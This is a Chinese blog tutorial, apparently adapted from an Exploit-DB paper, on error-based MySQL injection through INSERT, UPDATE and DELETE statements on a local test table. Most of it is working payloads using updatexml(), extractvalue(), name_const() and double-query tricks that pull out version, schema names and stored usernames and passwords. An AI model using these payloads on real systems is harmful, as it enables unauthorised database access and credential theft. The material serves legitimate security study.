另类的SQL注入方法
前言:相比基于查询的SQL注入,使用insert、update和delete进行SQL注入显得略显另类
参考自:http://www.exploit-db.com/wp-content/themes/exploit/docs/33253.pdf
0x1 准备条件
a. mysql数据库
b. 创建用于实验的数据库和表
Create database newdb;
use newdb
CREATE TABLE users
(
id int() NOT NULL AUTO_INCREMENT,
username varchar() NOT NULL,
password varchar() NOT NULL,
PRIMARY KEY (id)
);
c. 添加部分数据 : INSERT INTO users (id, username, password) VALUES (1, 'r00tgrok', 'ohmygod_is_r00tgrok');
0x2 使用updatexml()函数 // xpath injection
1. 注入
a. 载荷格式 :or updatexml(1,concat(0x7e,(version())),0) or
b. insert注入:INSERT INTO users (id, username, password) VALUES (2,'Pseudo_Z' or updatexml(1,concat(0x7e,(version())),0) or'', 'security-eng');
c. update注入:UPDATE users SET password='security-eng' or updatexml(2,concat(0x7e,(version())),0) or'' WHERE id=2 and username='Pseudo_Z';
d. delete注入:DELETE FROM users WHERE id=2 or updatexml(1,concat(0x7e,(version())),0) or'';
2. 提取数据
a. 载荷格式:
or updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0) or
b. insert提取表名:
INSERT INTO users (id, username, password) VALUES (2,'r00tgrok' or updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0) or '', 'ohmygod_is_r00tgrok');
c. insert提取列名
INSERT INTO users (id, username, password) VALUES (2,'r00tgrok' or updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 0,1)),0) or '', 'ohmygod_is_r00tgrok');
d. insert进行dump
INSERT INTO users (id, username, password) VALUES (2,'r00tgrok' or updatexml(0,concat(0x7e,(SELECT concat_ws(':',id, username, password) FROM users limit 0,1)),0) or '', 'ohmygod_is_r00tgrok');
e. delete进行dump
DELETE FROM users WHERE id=1 or updatexml(0,concat(0x7e,(SELECT concat_ws(':',id, username, password) FROM users limit 0,1)),0) or '';
f.update进行dump ?
同一个表不能用update进行dump,不同的表却可以
UPDATE students SET name='Nicky' or Updatexml(1,concat(0x7e,(SELECT concat_ws(':',id, username, password) FROM newdb.users limit 0,1)),0) or'' WHERE id=1;
3.小贴士
a.报错,然后爆出了要提取的信息
b. 按照作者paper上的代码,mysql5.6.19, 前面提取信息成功,后面dump报错:[Err] 1093 - You can't specify target table 'users' for update in FROM clause
c. google之,给出找到的两个参考:
//报错代码 DELETE FROM table_name where coulmn_name IN (SELECT coulmn_name FROM table_name WHERE coulmn_name > 10);
//修正代码 DELETE FROM table_name where coulmn_name IN ( SELECT * FROM (SELECT coulmn_name FROM table_name WHERE coulmn_name > 10) AS X) ;
//说明 不能删除子查询指向的相同数据源中的行,update同理
CREATE TABLE comments(id int primary key, phrase text, uid int); INSERT INTO comments VALUES(, 'admin user comments',),
(, 'HR User Comments',),
(, 'RH User Comments',);
UPDATE comments
SET phrase = (SELECT phrase FROM comments WHERE uid= AND id=)
WHERE id = ;
修复代码:
UPDATE comments
SET phrase =( SELECT phrase FROM
(
SELECT * FROM comments
)
AS c1
WHERE c1.uid= AND c1.id=
) WHERE id =;
说明:当你同时使用子查询读取相同的数据时,mysql不允许update、delete表中的数据;mysql会将from语句中的子查询作为一个临时表,将子查询封装到from语句中更深 层的子查询中会使其被执行并存储的临时表中,然后在外部子查询中隐式引用
4. updatexml()[ 返回被替换的XML段], updatexml()是mysql中的XML函数,还有一个为extractvalue() [使用Xpath符号从xml字符串中提取值],也是下文要用到的
eg. SET @xml = '<a><b>X</b><b>Y</b></a>';
SET @i =1, @j = 2;
SELECT @i, ExtractValue(@xml, '//b[$@i]');
//ExtractValue(xml_frag, xpath_expr) //UpdateXML(xml_target, xpath_expr, new_xml)
Xpath有较多限制,如不支持节点集的比较,不支持string()等函数,另外Xpath注入类似于SQL注入,语法上略有不同
0x3 使用extractvalue()函数
a. 载荷格式:or extractvalue(1,concat(0x7e,database())) or
b. 注入:
INSERT INTO users (id, username, password) VALUES (2,'r00tgrok' or extractvalue(1,concat(0x7e,database())) or'', 'Pseudo_Z');
UPDATE users SET password='Nicky' or extractvalue(1,concat(0x7e,database())) or'' WHERE id=2 and username='Pseudo_Z';
DELETE FROM users WHERE id=1 or extractvalue(1,concat(0x7e,database())) or'';
c.提取数据
INSERT INTO users (id, username, password) VALUES (2,'r00tgrok' or extractvalue(1,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1))) or'', 'balabala');
dump操作及update、delete方法同上updatexml()
0x4 使用name_const() //5.0.13中引入,返回任何给定的值
a. 载荷格式: or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or
b. 注入:
UPDATE users SET password='Nicky' or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or '' WHERE
id=2 and username='Pseudo_Z';
c. 提取数据
INSERT INTO users (id, username, password) VALUES (1,'admin' or (SELECT*FROM(SELECT name_const((SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 0,1),1),name_const(( SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 0,1),1))a) or '', 'oyyoug0d');
0x5 二次查询注入 //mysql没有二次查询,因此使用子查询
1. 注入
INSERT INTO users (id, username, password) VALUES (1,'r00tgrok' or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM
information_schema.columns group by x)a) or'', 'Bl4ckhat');
DELETE FROM users WHERE id=1 or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a)or'' ;
2. 提取数据
INSERT INTO users (id, username, password) VALUES (1, 'Pseudo_Z' or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT (SELECT
concat(0x7e,0x27,cast(users.username as char),0x27,0x7e) FROM `newdb`.users LIMIT 0,1) ) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or '', 'jesus-2014');
0x6 其他变种
' or (payload) or '
' and (payload) and '
' or (payload) and '
' or (payload) and '='
'* (payload) *'
' or (payload) and '
" – (payload) – "
附:http://websec.ca/kb/sql_injection
另类的SQL注入方法的更多相关文章
- sql注入方法以及防范
sql注入方法: 1.数字注入 ; get请求 www.bobo.com?id=1 可以查出 ID等于1的一条数据. 如果有人在链接后面增加 www.bobo.com?id=1 or 1=1 / w ...
- ref:web 防止SQL注入方法
ref:https://blog.csdn.net/beidou321/article/details/6482618 小结:spring采用JdbcTemplate来操作sql,一般不要自行拼接sq ...
- PHP最全防止sql注入方法
(1)mysql_real_escape_string -- 转义 SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集 使用方法如下: $sql = "select count ...
- 防止SQL注入方法总结
一.参数化SQL 是指在设计与数据库链接并访问数据时,在需要填入数值或数据的地方,使用参数 (Parameter) 来给值,用@来表示参数. 在使用参数化查询的情况下,数据库服务器不会将参数的内容视为 ...
- 使用php函数防止SQL注入方法
什么是SQL注入? SQL注入是指在你系统防御之外,某人将一段Mysql语句注入到你的数据库.注入通常发生在系统要求用户输入数据的时候,比如用户名的输入,用户可能输入的不是一个用户名,而是一段SQL语 ...
- 防止sql注入方法 如何防止java中将MySQL的数据库验证密码加上 ' or '1'= '1 就可以出现万能密码 的PreparedStatement
package com.swift; import java.sql.Connection; import java.sql.DriverManager; import java.sql.Prepar ...
- 网站防止SQL注入方法
方法:所有获取GET.POST变量都先进行过滤: 字符串-- htmlspecialchars(addslashes($string)) addslashes() 函数返回在预定义字符之前添加反斜杠 ...
- SQL注入方法之:获取列名
select col_name(object_id('table'),1) from sysobjects where name='table'
- 防sql注入方法
mysql_escape_string(strip_tags($arr)) /** * 函数名称:post_check() * 函数作用:对提交的编辑内容进行处理 * 参 数:$post: 要提交的内 ...
随机推荐
- Make Helix Curve in OpenCASCADE
Make Helix Curve in OpenCASCADE eryar@163.com Abstract. OpenCASCADE does not provide helix curve dir ...
- 前端学PHP之运算符
× 目录 [1]总括 [2]算术运算符 [3]赋值运算符[4]位运算符[5]比较运算符[6]错误控制[7]逻辑运算符[8]字符串连接[9]数组运算符 前面的话 运算符是可以通过给出的一或多个表达式来产 ...
- invalidate()和postInvalidate() 的区别及使用
Android提供了Invalidate方法实现界面刷新,但是Invalidate不能直接在线程中调用,因为他是违背了单线程模型:Android UI操作并不是线程安全的,并且这些操作必须在UI线程中 ...
- 一起学微软Power BI系列-官方文档-入门指南(1)Power BI初步介绍
我们在前一篇文章微软新神器-Power BI,一个简单易用,还用得起的BI产品中,我们初步介绍了Power BI的基本知识.由于Power BI是去年开始微软新发布的一个产品,虽然已经可以企业级应用, ...
- 编写简单的ramdisk(选择IO调度器)
前言 目前linux中包含anticipatory.cfq.deadline和noop这4个I/O调度器.2.6.18之前的linux默认使用anticipatory,而之后的默认使用cfq.我们在前 ...
- 如何高效地向Redis插入大量的数据
最近有个哥们在群里问,有一个日志,里面存的是IP地址(一行一个),如何将这些IP快速导入到Redis中. 我刚开始的建议是Shell+redis客户端. 今天,查看Redis官档,发现文档的首页部分( ...
- Java多线程系列目录(共43篇)
最近,在研究Java多线程的内容目录,将其内容逐步整理并发布. (一) 基础篇 01. Java多线程系列--“基础篇”01之 基本概念 02. Java多线程系列--“基础篇”02之 常用的实现多线 ...
- JS详细教程(下)
五.数组 数组是数据的有序列表,每个元素在数组中都有数字位置编号,也就是索引.JS中的数组是弱类型,每一项都可以保存任何类型的数据. 创建数组 ①使用Array构造函数 var arr=new Arr ...
- js做通讯录的索引滑动显示效果和滑动显示锚点效果
只做实现..完全没考虑性能优化.所以我实现了以后特别卡. 第一个是在通讯录右边的索引条上进行滑动,滑动到相应字母就跳转到相应字母的锚点上. 思路:监听touchmove事件,获取clientX和cli ...
- Mybatis-update - 数据库死锁 - 获取数据库连接池等待
最近学习测试mybatis,单个增删改查都没问题,最后使用mvn test的时候发现了几个问题: update失败,原因是数据库死锁 select等待,原因是connection连接池被用光了,需要等 ...